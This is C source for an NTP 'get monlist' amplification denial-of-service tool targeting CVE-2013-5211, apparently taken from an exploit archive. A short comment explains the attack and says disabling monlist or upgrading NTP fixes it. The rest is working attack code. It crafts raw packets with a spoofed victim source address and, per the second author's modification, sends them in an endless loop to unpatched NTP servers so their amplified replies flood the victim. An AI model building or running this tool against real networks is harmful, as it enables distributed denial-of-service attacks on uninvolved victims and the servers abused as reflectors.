NTP distributed denial of service amplification tool that uses "get monlist".
baaf6320ad214e35e7a2b7a7eb5035f1c589187e476175621d453bc6419fc028
/*
* Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification
* Date: 28/04/2014
* Code Author: Danilo PC - <DaNotKnow@gmail.com>
* CVE : CVE-2013-5211
*/
/* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211)
* I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there,
* if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please.
*/
/* MODIFICATION */
/*---------------------------------------------------------------------------------------------------------------
* ntpd 'get monlist' ddos amplification cve-2013-5211 exploit Todor Donev (todor.donev @@ gmail.com)
*---------------------------------------------------------------------------------------------------------------
* A Network Time Protocol (NTP) Amplification attack is an emerging form of Distributed Denial of Service (DDoS)
* that relies on the use of publically accessible NTP servers to overwhelm a victim system with UDP traffic.
*
* The attack relies on the exploitation of the 'monlist' feature of NTP, as described in CVE-2013-5211, which is
* enabled by default on older NTP-capable devices. This command causes a list of the last 600 IP addresses which
* connected to the NTP server to be sent to the victim. Due to the spoofed source address, when the NTP server
* sends the response it is sent instead to the victim. Because the size of the response is typically considerably
* larger than the request, the attacker is able to amplify the volume of traffic directed at the victim.
* Additionally, because the responses are legitimate data coming from valid servers, it is especially difficult
* to block these types of attacks. The solution is to disable “monlist” within the NTP server or to upgrade to
* the latest version of NTP (4.2.7) which disables the “monlist” functionality.
*---------------------------------------------------------------------------------------------------------------
* PoC generate and send 1 spoofed packet and don't do enough to Distributed Denial of Service.I'm made loop for
* sending multiple packets. Now this exploit is very dangerous against unpatched NTP servers. They can respond
* back to spoofed IP address (victim). The size of the response is typically considerably larger than the request.
*---------------------------------------------------------------------------------------------------------------
* use at your own risk | use at your own risk | use at your own risk | use at your own risk | use at your own risk
*---------------------------------------------------------------------------------------------------------------
*/
#include <stdio.h> // For on printf function
#include <string.h> // For memset
#include <sys/socket.h> // Structs and Functions used for sockets operations.
#include <stdlib.h> // For exit function
#include <netinet/ip.h> // Structs for IP header
// Struct for UDP Packet
struct udpheader{
unsigned short int udp_sourcePortNumber;
unsigned short int udp_destinationPortNumber;
unsigned short int udp_length;
unsigned short int udp_checksum;
};
// Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler
struct ntpreqheader {
unsigned char rm_vn_mode; /* response, more, version, mode */
unsigned char auth_seq; /* key, sequence number */
unsigned char implementation; /* implementation number */
unsigned char request; /* request number */
unsigned short err_nitems; /* error code/number of data items */
unsigned short mbz_itemsize; /* item size */
char data[40]; /* data area [32 prev](176 byte max) */
unsigned long tstamp; /* time stamp, for authentication */
unsigned int keyid; /* encryption key */
char mac[8]; /* (optional) 8 byte auth code */
};
// Calculates the checksum of the ip header.
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
// Da MAIN
int main(int argc, char **argv)
{
int status; // Maintains the return values of the functions
struct iphdr *ip; // Pointer to ip header struct
struct udpheader *udp; // Pointer to udp header struct
struct ntpreqheader *ntp; // Pointer to ntp request header struct
int sockfd; // Maintains the socket file descriptor
int one = 1; // Sets the option IP_HDRINCL of the sockt to tell
// the kernel that the header are alredy included on the packets.
struct sockaddr_in dest; // Maintains the data of the destination address
printf(" [o] ntpd 'get monlist' ddos amplification cve-2013-5211 exploit \n");
// Packet itself
char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ];
// Parameters check
if( argc != 3){
printf(" [o] usg: ./ntpamp <src> <ntpd>\n");
exit(1);
}
// "Zeroes" all the packet stack
memset( packet, 0, sizeof(packet) );
// Mounts the packet headers
// [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!!
ip = (struct iphdr *)packet;
udp = (struct udpheader *) (packet + sizeof(struct iphdr) );
ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) );
// Fill the IP Header
ip->version = 4; // IPv4
ip->ihl = 5; // Size of the Ip header, minimum 5
ip->tos = 0; // Type of service, the default value is 0
ip->tot_len = sizeof(packet); // Size of the datagram
ip->id = htons(1234); // LengthIdentification Number
ip->frag_off = 0; // Flags, zero represents reserved
ip->ttl = 255; // Time to Live. Maximum of 255
ip->protocol = IPPROTO_UDP; // Sets the UDP as the next layer protocol
ip->check = 0; // Checksum.
ip->saddr = inet_addr( argv[1] ); // Source ip ( spoofing goes here)
ip->daddr = inet_addr( argv[2] ); // Destination IP
// Fills the UDP Header
udp->udp_sourcePortNumber = htons( atoi( "123" ) ); // Source Port
udp->udp_destinationPortNumber = htons(atoi("123")) ; // Destination Port
udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); // Length of the packet
udp->udp_checksum = 0; // Checksum
// Calculate the checksums
ip->check = csum((unsigned short *)packet, ip->tot_len); // Calculate the checksum for iP header
// Sets the destination data
dest.sin_family = AF_INET; // Address Family Ipv4
dest.sin_port = htons (atoi( "123" ) ) ; // Destination port
dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereço para onde se quer enviar o pacote
// Fills the NTP header
// Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST
// To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the
// ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet.
// To learn more, read this: http://searchcode.com/codesearch/view/451164#127
ntp->rm_vn_mode=0x27; // Sets the response bit to 0, More bit to 0,
// Version field to 4, Mode field to 7 Private
ntp->implementation=0x03; // Sets the implementation to 3 (XNTPD)
ntp->request=0x2a; // Sets the request field to 42 ( MON_GETLIST_1 )
//All the other fields of the struct are zeroed
// Create a socket and tells the kernel that we want to use udp as layer 4 protocol
if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) < 0){
perror(" [-] Error ");
exit(1);
}
if ((connect(sockfd,(const struct sockaddr *)&dest,sizeof(dest))) < 0){
perror(" [-] Error ");
close(sockfd);
exit(1);
}
// Sets the option IP_HDRINCL
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0){
perror(" [-] Error ");
exit(1);
}
// Sends the packets
printf(" [+] sending ntp query src: %s -> dst: %s\n", argv[1], argv[2]);
while(1){
if ( sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) < 0), sleep(2)){
perror(" [-] Error ");
exit(1);
}
}
}